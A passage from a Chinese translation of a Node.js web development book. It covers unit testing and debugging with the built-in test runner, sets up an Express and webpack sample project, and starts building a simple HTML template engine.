    const req = {
        pipe: testCtx.mock.fn()
    };
    const resp = {
        cookie: testCtx.mock.fn()
    };
    // Act - perform the test
    readHandler(req, resp);
 **// Assert - verify the results**
 **if (req.pipe.mock.callCount() !== 1** **||**
 **req.pipe.mock.calls[0].arguments[0] !== resp) {**
 **throw new Error("Request not piped"****);**
 **}**
 **if (resp.cookie.mock.callCount() === 1) {**
 **const [name, val] = resp.cookie.mock.calls[0****].arguments;**
 **if (name !== "sessionID" || val !== "mysecretcode") {**
 **throw new Error("Cookie not set correctly");**
 **}**
 **} else {**
 **throw** **new Error("cookie method not called once");**
 **}**
}); 

新的语句使用mock属性来确认pipecookie方法已被调用一次,并且接收到了正确的参数。

通过使用断言可以简化测试结果的评估,这些断言是执行比较并抛出异常的更简洁的方法。Node.js 在assert模块中提供了断言,其中最有用的方法在表 8.6中描述。

表 8.6:有用的断言

名称 描述

|

`assert(val)` 
此方法如果val不是真值(如第二章所述),则会抛出错误。

|

`equal(v1, v2)` 
此方法如果v1不等于v2,则会抛出错误。

|

`notEqual(v1, v2)` 
此方法如果v1等于v2,则会抛出错误。

|

`deepStrictEqual(v1, v2)` 
此方法对v1v2进行深度比较,如果它们不匹配,则会抛出错误。

|

`notDeepStrictEqual(v1, v2)` 
此方法对v1v2进行深度比较,如果它们匹配,则会抛出错误。

|

`match(str, regexp)` 
此方法如果str不匹配指定的正则表达式,则会抛出错误。

|

`doesNotMatch(str, regexp)` 
此方法如果str匹配指定的正则表达式,则会抛出错误。

列表 8.12修改了单元测试,使用断言来检查结果。

列表 8.12:在 src 文件夹中的 readHandler.test.js 文件中使用断言

import { test } from "node:test";
import { readHandler } from "./readHandler";
**import { equal } from "assert";**
test("readHandler tests", (testCtx) => {
    // Arrange - set up the test
    const req = {
        pipe: testCtx.mock.fn()
    };
    const resp = {
        cookie: testCtx.mock.fn()
    };
    // Act - perform the test
    readHandler(req, resp);
    // Assert - verify the results
    **equal****(req.pipe.mock.callCount(), 1);**
 **equal(req.pipe.mock.calls[0].arguments****[0], resp);**
 **equal(resp.cookie.mock.callCount(), 1);**
 **equal(resp.cookie.mock.calls****[0].arguments[0], "sessionID");**
 **equal(resp.cookie.mock.calls[0].arguments****[1], "mysecretcode");**
}); 

equal方法用于进行一系列比较,如果值不匹配,则会抛出错误,导致测试失败。

测试异步代码

Node.js 测试运行器支持测试异步代码。对于基于 promise 的代码,如果 promise 被拒绝,则测试失败。为了准备,列表 8.13更改了处理器,使其执行异步文件读取并将文件内容发送到客户端。

列表 8.13:在 src 文件夹中的 readHander.ts 文件中执行异步操作

import { Request, Response } from "express";
**import { readFile } from "fs";**
export const readHandler = (req: Request, resp: Response) => {   
    **readFile****("data.json", (err, data) => {**
 **if (err != null) {**
 **resp.writeHead(500, err.message);**
 **} else {**
 **resp.setHeader****("Content-Type", "application/json")**
 **resp.write(data);**
 **}**
 **resp.end();** 
 **});**
} 

目前忽略测试运行器的输出,并使用浏览器请求localhost:5000并点击发送消息按钮来检查处理器的功能。响应将包含从data.json文件中读取的 JSON 数据,如图图 8.2所示。

图 8.2:测试修改后的处理器

编写单元测试时,需要采用不同的模拟方法,如列表 8.14所示。

列表 8.14:在 src 文件夹中的 readHandler.test.js 文件中测试异步处理器

import { test } from "node:test";
import { readHandler } from "./readHandler";
import { equal } from "assert";
**import fs from "fs";**
test("readHandler tests", async (testCtx) => {
    // Arrange - set up the test
   ** const data = "****json-data";**
 **testCtx.mock.method(fs, "readFile", (file, cb) => cb(undefined, data));**
 **const req = {};**

 **const resp = {**
**setHeader: testCtx.mock.fn(),**
 **write: testCtx.mock.fn(),**
 **end: testCtx.mock.fn()**
 **};**
    // Act - perform the test
    **await readHandler(req, resp);**
    // Assert - verify the results
  **  equal(resp.setHeader.mock.calls[0].arguments[0], "****Content-Type");**
 **equal(resp.setHeader.mock.calls[0].arguments[1], "application/json");**
 **equal(resp.****write.mock.calls[0].arguments[0], data);**
 **equal(resp.end.mock.callCount(),** **1);**
}); 

此测试的关键是能够模拟fs模块中的readFile函数,这是通过以下语句完成的:

...
testCtx.mock.**method**(fs, "readFile", (file, cb) => cb(undefined, data));
... 

这很难解释,因为名称和结果使用了相同的单词:名为method的方法模拟了一个对象上的方法。在这种情况下,对象是整个fs模块,它被导入如下:

...
import fs from "fs";
... 

模块定义的顶层函数作为名为 fs 的对象上的方法呈现,这使得它们可以通过 method 来模拟。在这种情况下,readFile 函数已被替换为一个模拟实现,该实现使用测试数据调用回调函数,使得可以在不读取文件系统的情况下执行测试。本例中的其他模拟是通过 fn 方法创建的,对应于被测试的处理程序调用的 Response 方法。

测试承诺

测试使用承诺的代码的方式几乎相同,只是模拟使用测试数据解决承诺。列表 8.15 更新了处理程序,以使用基于承诺的 readFile 函数版本。

列表 8.15:在 src 文件夹中的 readHandler.ts 文件中使用承诺

import { Request, Response } from "express";
**import { readFile } from "fs/promises";**
**export const readHandler = async (req: Request, resp: Response) => {** 
**try {**
 **resp.setHeader("Content-Type", "application/json")**
 **resp.write(await readFile("data.json"));**
 **} catch (err) {**
 **resp.writeHead(****500);**
 **}**
 **resp.end();**
} 

列表 8.16 更新了单元测试,以便模拟解决承诺。

列表 8.16:在 src 文件夹中的 readHandler.test.js 文件中测试承诺

import { test } from "node:test";
import { readHandler } from "./readHandler";
import { equal } from "assert";
**import fs from "fs/promises";**
test("readHandler tests", async (testCtx) => {
    // Arrange - set up the test
    const data = "json-data";
    **testCtx.mock.method(fs, "readFile", async () => data);**
    const req = {};

    const resp = {
        setHeader: testCtx.mock.fn(),
        write: testCtx.mock.fn(),
        end: testCtx.mock.fn()
    };
    // Act - perform the test
    await readHandler(req, resp);
    // Assert - verify the results
    equal(resp.setHeader.mock.calls[0].arguments[0], "Content-Type");
    equal(resp.setHeader.mock.calls[0].arguments[1], "application/json");
    equal(resp.write.mock.calls[0].arguments[0], data);
    equal(resp.end.mock.callCount(), 1);
}); 

模拟是一个异步函数,在解决时产生测试数据。单元测试的其余部分保持不变。

创建子测试

列表 8.16 中的测试没有测试处理程序在读取文件数据时出现问题时如何响应。需要做更多的工作,如 列表 8.17 所示。

列表 8.17:在 src 文件夹中的 readHandler.test.js 文件中测试多个结果

import { test } from "node:test";
import { readHandler } from "./readHandler";
import { equal } from "assert";
import fs from "fs/promises";
**const createMockResponse = (testCtx) => ({**
 **writeHead****: testCtx.mock.fn(),**
 **setHeader: testCtx.mock.fn(),**
 **write: testCtx.mock.fn(),**
 **end: testCtx.mock****.fn()** 
**});**
test("readHandler tests", async (testCtx) => {
    // Arrange - set up the test
    const req = {};

    **// const resp = {**
 **//     setHeader: testCtx.mock.fn(),**
 **//     write: testCtx.mock.fn(),**
 **//     end: testCtx.mock.fn()**
 **// };**
 **// Test the successful outcome**
 **await testCtx.test("Successfully reads file", async (innerCtx) => {**
 **// Arrange - set up the test**
 **const data = "json-data";**
 **innerCtx.mock****.method(fs, "readFile", async () => data);**
 **const resp = createMockResponse(innerCtx);**
 **// Act - perform the test**
 **await readHandler(req, resp);**
 **// Assert - verify the results**
 **equal****(resp.setHeader.mock.calls[0].arguments[0], "Content-Type");**
 **equal(resp.setHeader.mock****.calls[0].arguments[1], "application/json");**
 **equal(resp.write.mock.calls[0****].arguments[0], data);**
 **equal(resp.end.mock.callCount(), 1);**
 **});**
 **// Test the failure outcome**
 **await testCtx.test****("Handles error reading file", async (innerCtx) => {**
 **// Arrange - set up the test**
 **innerCtx.mock.method(fs, "readFile",** 
 **() => Promise.reject("file error"****));**
 **const resp = createMockResponse(innerCtx);**
 **// Act - perform the test**
 **await readHandler(req, resp);**

 **// Assert - verify the results**
 **equal(resp.writeHead.mock.calls****[0].arguments[0], 500);**
 **equal(resp.end.mock.callCount(), 1);**
 **});**
}); 

TestContext 类定义了一个 test 方法,可以用来创建子测试。子测试会接收到自己的上下文对象,可以用来为该子测试创建特定的模拟,列表 8.17 就使用了这个特性来创建使用不同实现的模拟 readFile 函数的测试。保存更改后,测试运行器的输出将反映子测试的添加,如下所示:

...
readHandler tests
  Successfully reads file (0.5485ms)
  Handles error reading file (0.2952ms)
readHandler tests (2.0538ms)
... 

注意到子测试是异步的,需要 await 关键字。如果您不等待子测试,则顶层测试将提前完成,测试运行器将报告错误。

调试 JavaScript 代码

单元测试是确认代码按预期行为的过程;调试是找出为什么它不按预期工作的过程。在开始之前,使用 Ctrl + C 停止构建过程和单元测试过程。一旦进程停止,运行 列表 8.18 中显示的命令以单独启动 webpack 开发服务器。调试器将应用于后端服务器,该服务器将自行启动,但依赖于 webpack 来处理客户端内容的请求。

列表 8.18:启动 webpack 开发服务器

npm run client 

下一步是配置 TypeScript 编译器,使其生成源映射,如 列表 8.19 所示,这允许调试器将 Node.js 执行的纯 JavaScript 与开发者编写的 TypeScript 代码关联起来。

列表 8.19:在 src 文件夹中的 tsconfig.json 文件中启用源映射

{
    "extends": "@tsconfig/node20/tsconfig.json",
     "compilerOptions": {                      
         "rootDir": "src",  
         "outDir": "dist",
         "allowJs": true,
         **"sourceMap": true**
     },
     "include": ["src/**/*"]
} 

保存文件时,编译器将在 dist 文件夹中开始生成具有 map 文件扩展名的文件。

添加代码断点

具有良好 TypeScript 支持的代码编辑器,如 Visual Studio Code,允许向代码文件添加断点。我对该功能的体验好坏参半,并且我发现它们不可靠,这就是为什么我依赖于不那么优雅但更可预测的 debugger JavaScript 关键字。

当 JavaScript 应用程序通过调试器执行时,遇到 debugger 关键字时执行将停止,控制权传递给开发者。清单 8.20debugger 关键字添加到 readHandler.ts 文件中。

清单 8.20:在 src 文件夹中的 readHandler.ts 文件中添加调试器关键字

import { Request, Response } from "express";
import { readFile } from "fs/promises";
export const readHandler = async (req: Request, resp: Response) => {   
    try {
        resp.setHeader("Content-Type", "application/json")
        resp.write(await readFile("data.json"));
        **debugger**
    } catch (err) {
        resp.writeHead(500);
    }
    resp.end();
} 

执行代码时输出不会发生变化,因为 Node.js 默认忽略 debugger 关键字。

使用 Visual Studio Code 进行调试

大多数优秀的代码编辑器都具有一定的 TypeScript 和 JavaScript 代码调试支持。在本节中,我将向您展示如何使用 Visual Studio Code 进行调试,以便您了解整个过程。如果您使用其他编辑器,可能需要不同的步骤,但基本方法可能相似。

要设置调试配置,从 运行 菜单中选择 添加配置,并在提示时从环境列表中选择 Node.js,如 图 8.3 所示。

图片

图 8.3:选择调试环境

Visual Studio Code 将创建一个 .vscode 文件夹和一个名为 launch.json 的文件,该文件用于配置调试器。更改 program 属性的值,以便调试器在 dist 文件夹中执行 JavaScript 代码,如 清单 8.21 所示。

清单 8.21:在 .vscode 文件夹中的 launch.json 文件中配置调试器

{
    "version": "0.2.0",
    "configurations": [
        {
            "type": "node",
            "request": "launch",
            "name": "Launch Program",
            "skipFiles": [
                "<node_internals>/**"
            ],
           ** "program": "${workspaceFolder}/dist/server.js"****,**
            "preLaunchTask": "tsc: build - tsconfig.json",
            "outFiles": [
                "${workspaceFolder}/dist/**/*.js"
            ]
        }
    ]
} 

保存对 launch.json 文件的更改,并从 运行 菜单中选择 开始调试。Visual Studio Code 将启动 Node.js,执行将继续正常进行,直到遇到 debugger 关键字。使用浏览器请求 http://localhost:5000 并点击 发送消息 按钮。请求将被传递到处理器进行处理,当遇到 debugger 关键字时,执行将停止,控制权将转移到调试弹出窗口,如 图 8.4 所示。

图片

图 8.4:使用 Visual Studio Code 进行调试

应用程序的状态显示在侧边栏中,显示在执行停止点设置的变量。提供了标准调试功能,包括设置监视、单步执行和跳过语句以及恢复执行。调试控制台窗口允许在应用程序的上下文中执行 JavaScript 语句,例如,输入一个变量名并按 Enter 键,将返回该变量的值。

使用远程 Node.js 调试器

如果你不想使用代码编辑器进行调试,那么 Google Chrome 为 Node.js 提供了良好的集成调试功能,使用与调试客户端代码相同的特性。停止上一节中的 Visual Studio Code 调试器,然后在 webapp 文件夹中运行 清单 8.22 中显示的命令以启动 Node.js 的调试模式。

列表 8.22:以调试模式启动 Node.js

node --inspect dist/server.js 

当 Node.js 启动时,它将产生类似这些的消息,其中包含它准备接受调试请求的 URL 详细信息:

**Debugger listening on ws://127.0.0.1:9229/faed1dec-fbb0-4425-bd87-410c98980716**
For help, see: https://nodejs.org/en/docs/inspector
HTTP Server listening on port 5000
Debugger attached. 

使用 Google Chrome,请求 chrome://inspect 并点击 打开 Node 的专用开发者工具 选项,调试窗口将打开,如图 图 8.5 所示。

注意

所有使用 Chromium 引擎的浏览器都支持此功能,包括 Brave、Opera 和 Edge。使用浏览器名称作为打开 Node.js 工具的 URL,例如 Brave 浏览器的 brave://inspect。这对于拥有自己浏览器引擎的 Firefox 不适用。

图 8.5:使用 Chrome 的 Node.js 调试功能

打开一个新的浏览器窗口,请求 http://localhost:5000,并点击 发送消息。当请求正在处理时,Node.js 达到 debugger 关键字。执行停止,控制权传递给 Chrome 开发者工具,如图 图 8.6 所示。

图 8.6:Chrome 开发者工具调试 Node.js

摘要

在本章中,我描述了 Node.js 的单元测试和调试功能。

  • Node.js 包含一个内置的测试运行器,支持执行测试和创建模拟函数和方法。

  • Web 应用程序的单元测试主要关注请求处理,需要模拟 HTTP 请求和响应。

  • 对于需要客户端和服务器端 JavaScript 代码相同测试工具的项目,可以使用第三方包,如 Jest。

  • Node.js 包含调试支持,可以使用许多代码编辑器或基于 Chromium 的浏览器(如 Google Chrome)进行调试。

在本书的下一部分,我将演示如何使用 Node.js 创建 Web 应用程序所需的功能,例如生成动态内容和验证用户。

第二部分

详细的 Node.js

深入了解现代网络应用所需的最重要特性,包括生成内容、处理数据和验证 HTTP 请求。

本部分包括以下章节:

  • 第九章,创建示例项目

  • 第十章,使用 HTML 模板

  • 第十一章,处理表单数据

  • 第十二章,使用数据库

  • 第十三章,使用会话

  • 第十四章,创建 RESTful 网络服务

  • 第十五章,验证和授权请求

第九章:创建示例项目

在本章中,我将使用第一部分中描述的功能创建整个本书本部分使用的示例项目。在后面的章节中,我将开始添加新功能,但本章完全是关于构建基础。

提示

您可以从github.com/PacktPublishing/Mastering-Node.js-Web-Development下载本章的示例项目——以及本书中所有其他章节的示例项目。有关运行示例时遇到问题的帮助,请参阅第一章

理解项目

示例项目将使用本书第一部分中介绍的功能和包。后端服务器将使用 TypeScript 编写,代码文件将位于src/server文件夹中。TypeScript 编译器将 JavaScript 文件写入dist/server文件夹,在那里它们将由 Node.js 运行时执行,该运行时将监听端口5000上的 HTTP 请求,如图图 9.1所示。

图片

图 9.1:后端服务器

应用程序的客户端部分将比后端简单,仅用于发送请求并处理响应以演示服务器端功能。客户端代码将使用 JavaScript 编写,并使用 webpack 打包。该捆绑包将由 webpack 开发服务器提供,该服务器将监听端口 5100 上的 HTTP 请求,如图图 9.2所示。

图片

图 9.2:添加项目的客户端部分

浏览器将向端口 5000 的后端服务器发出请求。Express 路由器将用于将请求匹配到处理函数,从单个/test URL 开始。对静态内容(如 HTML 文件和图片)的请求将从static文件夹提供,使用 Express 的static中间件组件。

所有其他请求都将转发到 webpack 服务器,这将允许请求客户端捆绑包并允许实时重新加载功能工作,如图图 9.3所示。

图片

图 9.3:路由请求

创建项目

打开一个新的命令提示符,导航到一个方便的位置,并创建一个名为part2app的文件夹。导航到part2app文件夹,并运行列表 9.1中显示的命令以初始化项目并创建package.json文件。

列表 9.1:初始化项目

npm init -y 

在接下来的章节中,我将介绍创建项目不同部分的过程,从后端服务器开始。我首先安装每个应用程序部分所需的 JavaScript 包,所有这些包都在本书第一部分中介绍过。

安装应用程序包

应用程序包是指其功能集成到后端服务器或客户端代码中的那些。表 9.1描述了本章中使用的应用程序包。

表 9.1:本章中使用的应用包

名称 描述

|

`bootstrap` 
此包包含用于样式化客户端内容的 CSS 样式和 JavaScript 代码。

|

`express` 
此包包含简化 HTTP 请求处理的 Node.js API 的增强功能。

|

`helmet` 
此包在 HTTP 响应中设置与安全相关的头信息。

|

`http-proxy` 
此包转发 HTTP 请求,并将用于将后端服务器连接到 webpack 开发服务器。

要安装这些包,请在 part2app 文件夹中运行 列表 9.2 中显示的命令。

列表 9.2:安装应用包

npm install bootstrap@5.3.2
npm install express@4.18.2
npm install helmet@7.1.0
npm install http-proxy@1.18.1 

安装开发工具包

开发工具包提供在开发期间使用的功能,但在应用部署时不会被包含。表 9.2 描述了本章中使用的工具包。

表 9.2:本章中使用的开发工具包

名称 描述

|

`@tsconfig/node20` 
此文件包含与 Node.js 一起工作的 TypeScript 编译器配置设置。

|

`npm-run-all` 
此包允许同时启动多个命令。

|

`tsc-watch` 
此包包含 TypeScript 文件的监视器。

|

`typescript` 
此包包含 TypeScript 编译器。

|

`webpack` 
此包包含 webpack 打包器。

|

`webpack-cli` 
此包包含 webpack 的命令行界面。

|

`webpack-dev-server` 
此包包含 webpack 开发 HTTP 服务器。

要安装这些包,请在 part2app 文件夹中运行 列表 9.3 中显示的命令。

列表 9.3:安装开发工具包

npm install --save-dev @tsconfig/node20
npm install --save-dev npm-run-all@4.1.5
npm install --save-dev tsc-watch@6.0.4
npm install --save-dev typescript@5.2.2
npm install --save-dev webpack@5.89.0
npm install --save-dev webpack-cli@5.1.4
npm install --save-dev webpack-dev-server@4.15.1 

安装类型包

最终包包含两个开发包使用的类型描述,这使得它们在使用 TypeScript 时更容易使用,如 表 9.3 所述。

表 9.3:类型描述包

名称 描述

|

`@types/express` 
此包包含 Express API 的描述

|

`@types/node` 
此包包含 Node.js API 的描述

要安装这些包,请在 part2app 文件夹中运行 列表 9.4 中显示的命令。

列表 9.4:安装类型包

npm install --save-dev @types/express@4.17.20
npm install --save-dev @types/node@20.6.1 

创建配置文件

要创建 TypeScript 编译器的配置,请将一个名为 tsconfig.json 的文件添加到 part2app 文件夹中,其内容如 列表 9.5 所示。

您的代码编辑器可能会报告 tsconfig.json 文件错误,但这些错误将在您启动 列表 9.12 中的开发工具时得到解决。

列表 9.5:part2app 文件夹中 tsconfig.json 文件的内容

{
    "extends": "@tsconfig/node20/tsconfig.json",
     "compilerOptions": {                     
         "rootDir": "src/server", 
         "outDir": "dist/server/"
     },
     "include": ["src/server/**/*"]
} 

此文件基于 列表 9.4 中添加到项目中的 @tsconfig/node20 包中的配置。rootDirinclude 设置用于告诉编译器处理 src/server 文件夹中的文件。outDir 设置告诉编译器将处理后的 JavaScript 文件写入 dist/server 文件夹。

要创建 webpack 的配置文件,请将一个名为 webpack.config.mjs 的文件添加到 part2app 文件夹中,其内容如 列表 9.6 所示。

清单 9.6:part2app 文件夹中 webpack.config.mjs 文件的内容

import path from "path";
import { fileURLToPath } from 'url';
const __dirname = path.dirname(fileURLToPath(import.meta.url));
export default  {
    mode: "development",
    entry: "./src/client/client.js",
    devtool: "source-map",  
    output: {
        path: path.resolve(__dirname, "dist/client"),
        filename: "bundle.js"
    },
    devServer: {
        static: ["./static"],       
        port: 5100,
        client: { webSocketURL: "http://localhost:5000/ws" }
    }
}; 

此配置文件告诉 webpack 将它在src/client文件夹中找到的 JavaScript 文件打包,并将创建的包写入dist/client文件夹。(尽管,如第一部分中所述,webpack 将在开发期间将包文件保留在内存中,并且只有在准备部署应用程序时才会将文件写入磁盘。)

为了定义启动开发工具将使用的命令,请将清单 9.7中显示的设置添加到package.json文件中。

清单 9.7:part2app 文件夹中 package.json 文件中定义的脚本

...
"scripts": {
   ** "server": "****tsc-watch --noClear --onsuccess \"node dist/server/server.js\"",**
 **"client": "webpack serve",**
 **"start": "npm-run-all --parallel server client"**
},
... 

server命令使用tsc-watch包编译后端 TypeScript 代码并执行生成的 JavaScript。client命令启动webpack开发 HTTP 服务器。start命令使用npm-run-all命令,以便可以同时启动clientserver命令。

创建后端服务器

创建src/server文件夹,并向其中添加一个名为server.ts的文件,其内容如清单 9.8所示。

清单 9.8:src/server 文件夹中 server.ts 文件的内容

import { createServer } from "http";
import express, {Express } from "express";
import { testHandler } from "./testHandler";
import httpProxy from "http-proxy";
import helmet from "helmet";
const port = 5000;
const expressApp: Express = express();
const proxy = httpProxy.createProxyServer({
    target: "http://localhost:5100", ws: true
});
expressApp.use(helmet());
expressApp.use(express.json());
expressApp.post("/test", testHandler);
expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
expressApp.use((req, resp) => proxy.web(req, resp));
const server = createServer(expressApp);
server.on('upgrade', (req, socket, head) => proxy.ws(req, socket, head));
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

该代码创建了一个监听 5000 端口的 HTTP 服务器。Express 包用于解码 JSON 请求体、提供静态内容并将未处理请求转发到 webpack HTTP 服务器。

Express 路由器用于匹配发送到/test URL 的 HTTP POST 请求。为了创建处理器,请将一个名为testHandler.ts的文件添加到src/server文件夹中,其内容如清单 9.9所示。

清单 9.9:src/server 文件夹中 testHandler.ts 文件的内容

import { Request, Response } from "express";
export const testHandler = async (req: Request, resp: Response) => {  
    resp.setHeader("Content-Type", "application/json")
    resp.json(req.body);
    resp.end();      
} 

处理器设置响应的Content-Type头,并将请求体写入响应,这相当于回显客户端发送的数据。在第一部分中,我使用了pipe方法来实现类似的效果,但在这个例子中不会起作用,因为 Express JSON 中间件将读取请求体并解码包含在其中的 JSON 数据到 JavaScript 对象,这意味着请求流中没有数据可读。因此,我使用Request.body属性创建响应,这是 JSON 中间件创建的对象可以找到的地方。

创建 HTML 和客户端 JavaScript 代码

为了定义将发送到浏览器的 HTML 文档,创建一个名为static的文件夹,并在其中添加一个名为index.html的文件,其内容如清单 9.10所示。

清单 9.10:static 文件夹中 index.html 文件的内容

<!DOCTYPE html>
<html>
    <head>
        <script src="img/bundle.js"></script>
        <link href="css/bootstrap.min.css" rel="stylesheet" />
    </head>
    <body>
        <button id="btn" class="btn btn-primary m-2">Send Request</button>
        <table class="table table-striped">
            <tbody>
                <tr><th>Status</th><td id="msg"></td></tr>
                <tr><th>Response</th><td id="body"></td></tr>
            </tbody>
       </table>
    </body>
</html> 

此文件包含一个按钮,用于向后端服务器发送 HTTP 请求,以及一个用于显示响应详细信息的表格。为了创建响应按钮并发送请求的 JavaScript 代码,请将一个名为client.js的文件添加到src/client文件夹中,其内容如清单 9.11所示。

清单 9.11:src/client 文件夹中 client.js 文件的内容

document.addEventListener('DOMContentLoaded', function() {
    document.getElementById("btn").addEventListener("click", sendReq);
});
sendReq = async () => {
    const response = await fetch("/test", {
        method: "POST", body: JSON.stringify({message: "Hello, World"}),
        headers: { "Content-Type": "application/json" }
    });
    document.getElementById("msg").textContent = response.statusText;
    document.getElementById("body").innerHTML = await response.text();
}; 

该文件中的 JavaScript 代码使用浏览器提供的 API 向 /test URL 发送 HTTP POST 请求,并显示从后端服务器收到的响应详情。

运行示例应用程序

剩下的就是确保示例应用程序按预期工作。在 part2app 文件夹中运行 列表 9.12 中显示的命令以启动开发工具。

列表 9.12:启动开发工具

npm start 

给工具一点启动时间,然后使用网页浏览器请求 http://localhost:5000。浏览器将接收到定义在 列表 9.10 中的 HTML 文档,其中包含由 webpack 提供的包的链接。点击 发送请求 按钮,客户端 JavaScript 将向后端服务器发送 HTTP 请求,产生如图 9.4 所示的响应。

图片

图 9.4:运行示例应用程序

摘要

在本章中,我创建了将在本书的这一部分中使用的示例项目,使用了 第一部分 中描述的包和功能。在下一章中,我将描述构建 Web 应用程序所需的关键特性,从使用模板生成 HTML 内容开始。

第十章:使用 HTML 模板

本章我将描述模板如何用于生成 HTML 内容,使应用程序能够根据用户的需求或应用程序的状态数据来调整内容显示。

与本书中描述的许多主题一样,一旦您了解了它们的工作原理,模板就更容易理解。因此,我将首先创建一个简单的自定义模板系统,仅使用 JavaScript 和 Node.js API 提供的功能,以解释各个部分是如何组合在一起的。我将演示服务器端模板,其中后端服务器生成 HTML 内容,以及客户端模板,其中浏览器生成内容。

本章中使用的自定义模板具有教育意义,但用于实际项目过于有限,因此我还介绍了一个具有更多功能和更好性能的流行模板包,它适合用于实际项目。表 10.1将 HTML 模板置于上下文中。

表 10.1:将 HTML 模板置于上下文中

问题 答案
它们是什么? HTML 模板是包含占位符的 HTML 文档,这些占位符会被动态内容替换,以反映应用程序的状态。
它们为什么有用? 模板允许用户展示的内容反映应用程序状态的变化,并且是大多数网络应用程序的关键构建块。
它们是如何使用的? 有许多优秀的模板包可用,并且流行的框架通常包括模板系统。
存在哪些陷阱或限制? 重要的是找到一个您觉得易于阅读的格式,但除此之外,模板引擎是网络应用程序项目的积极补充。
有没有替代方案? 您可以使用 JavaScript 代码完全生成内容,但这通常难以维护。如果您使用的是 React 或 Angular 等框架,可能无法避免使用模板。

表 10.2总结了本章内容。

表 10.2:章节总结

问题 解决方案 列表
动态渲染 HTML 元素 使用混合 HTML 元素和表达式的模板引擎,这些表达式被评估以产生数据值。 1-4, 11-15, 21-27
评估模板表达式 使用eval关键字将字符串表达式评估为 JavaScript 语句。 5, 6
将模板拆分为更易于管理的部分 使用部分模板/视图。 7-10
在浏览器中动态渲染 HTML 元素 将模板编译成浏览器加载的包中包含的 JavaScript 代码。 16-20, 28-31

为本章做准备

本章使用的是在第九章中创建的part2app项目。为此章节做准备不需要任何更改。打开命令提示符,在part2app文件夹中运行列表 10.1中显示的命令以启动开发工具。

提示

您可以从github.com/PacktPublishing/Mastering-Node.js-Web-Development下载本章的示例项目——以及本书中所有其他章节的示例项目。有关运行示例时遇到问题的帮助,请参阅第一章

列表 10.1:启动开发工具

npm start 

打开一个网页浏览器,请求http://localhost:5000,然后点击发送请求按钮。浏览器将向后端服务器发送请求,并显示结果详情,如图10.1所示。

图片

图 10.1:运行示例应用程序

使用服务器端 HTML 模板

服务器端 HTML 模板允许后端服务器动态生成内容,发送给浏览器的内容是根据单个请求定制的。定制可以采取任何形式,但一个典型的例子是包括特定于用户的内容,例如包括用户的姓名。

HTML 模板需要三个要素:一个包含占位符部分的模板文件,动态内容将被插入其中;一个数据字典上下文,它提供了将决定特定动态内容生成的值;以及一个模板引擎,它处理视图和字典,生成一个包含已插入动态内容的 HTML 文档,该文档可以用作对 HTTP 请求的响应,如图10.2所示。

图片

图 10.2:HTML 模板的组成部分

处理模板的任务被称为渲染,它完全发生在后端服务器上。渲染生成一个普通的 HTML 文档,从浏览器的角度来看,它与常规静态内容没有区别。(还有另一种类型的模板,它作为 JavaScript 发送到浏览器,由客户端渲染以创建 HTML 内容,如使用客户端 HTML 模板部分所述)。

创建一个简单的模板引擎

创建一个简单的模板引擎来帮助理解它们的工作原理很容易,但要创建一个可用于生产的模板引擎则要困难得多。在本节中,我将创建一个简单的模板,然后介绍一个更优秀、更快、功能更丰富的开源模板引擎包。

我将首先创建模板,这将有助于将所有内容置于上下文中。创建part2app/templates/server文件夹,并向其中添加一个名为basic.custom的文件,其内容如图列表 10.2所示。

提示

大多数代码编辑器都可以配置为理解具有非标准扩展名(如 .custom)的文件包含一个已知的格式,例如 HTML。例如,如果你使用 Visual Studio Code,请在窗口的右下角点击 纯文本,然后选择单个文件的格式或设置关联,以便所有 .custom 文件都像 HTML 一样处理,这将使在遵循示例时更容易发现错误。

清单 10.2:templates/server 文件夹中 basic.custom 文件的内容

<!DOCTYPE html>
<html>
    <head><link href="/css/bootstrap.min.css" rel="stylesheet" /></head>
    <body>
        <h3 class="m-2">Message: {{ message }}</h3>
    </body>
</html> 

此模板是一个完整的 HTML 文档,包含一个占位符,该占位符由双大括号({{}} 字符)表示。大括号内的内容是一个 模板表达式,当模板渲染时将被评估,并用于替换占位符。

虽然双大括号 {{}} 字符是一个流行的选择,但并非所有模板引擎都使用这些字符,重要的是表示占位符的字符序列不太可能出现在模板的静态部分中,这就是为什么你通常会看到重复字符序列或特殊字符的使用。

创建自定义模板引擎

Express 包集成了对模板引擎的支持,这使得实验和学习它们的工作方式变得容易。将一个名为 custom_engine.ts 的文件添加到 src/server 文件夹中,其内容如图 清单 10.3 所示。

清单 10.3:src/server 文件夹中 custom_engine.ts 文件的内容

import { readFile } from "fs";
import { Express } from "express";
const renderTemplate = (path: string, context: any,
    callback: (err: any, response: string | undefined) => void) => {
    readFile(path, (err, data) => {
        if (err != undefined) {
            callback("Cannot generate content", undefined);
        } else {
            callback(undefined, parseTemplate(data.toString(), context));           
        }
    });
};
const parseTemplate = (template: string, context: any) => {
    const expr = /{{(.*)}}/gm;
    return template.toString().replaceAll(expr, (match, group) => {
        return context[group.trim()] ?? "(no data)"
    });               
}
export const registerCustomTemplateEngine = (expressApp: Express) =>
    expressApp.engine("custom", renderTemplate); 

renderTemplate 函数将由 Express 调用来渲染模板。参数是一个包含模板文件路径的 string,一个提供模板渲染上下文数据的 object,以及一个回调函数,用于向 Express 提供渲染内容或错误(如果发生错误)。

renderTemplate 函数使用 readFile 函数读取模板文件的内容,然后调用 parseTemplate 函数,该函数使用正则表达式搜索 {{}} 字符。对于每个匹配项,回调函数将上下文对象中的数据值插入到结果中,如下所示:

...
const expr = /{{(.*)}}/gm;
return template.toString().replaceAll(expr, (match, group) => {
   ** return context[group.trim()] ?? "(no data)"**
});
... 

这是一个基本的方法,而真正的引擎更复杂,并且更仔细地寻找模板表达式,但这足以演示这个想法。registerCustomTemplateEngine 函数通过调用 Express.engine 方法将模板引擎注册到 Express 中,指定文件扩展名和 renderTemplate 函数:

...
export const registerCustomTemplateEngine = (expressApp: Express) =>
    expressApp.**engine**("custom", renderTemplate);
... 

此语句告诉 Express 使用 renderTemplate 函数来渲染具有 .custom 文件扩展名的模板文件。

设置自定义模板引擎

流程的最后部分是配置 Express 并创建一个与模板匹配的路线,如图 清单 10.4 所示。

清单 10.4:在 src/server 文件夹中的 server.ts 文件中设置模板引擎

import { createServer } from "http";
import express, {Express } from "express";
import { testHandler } from "./testHandler";
import httpProxy from "http-proxy";
import helmet from "helmet";
**import { registerCustomTemplateEngine } from "./custom_engine";**
const port = 5000;
const expressApp: Express = express();
const proxy = httpProxy.createProxyServer({
    target: "http://localhost:5100", ws: true
});
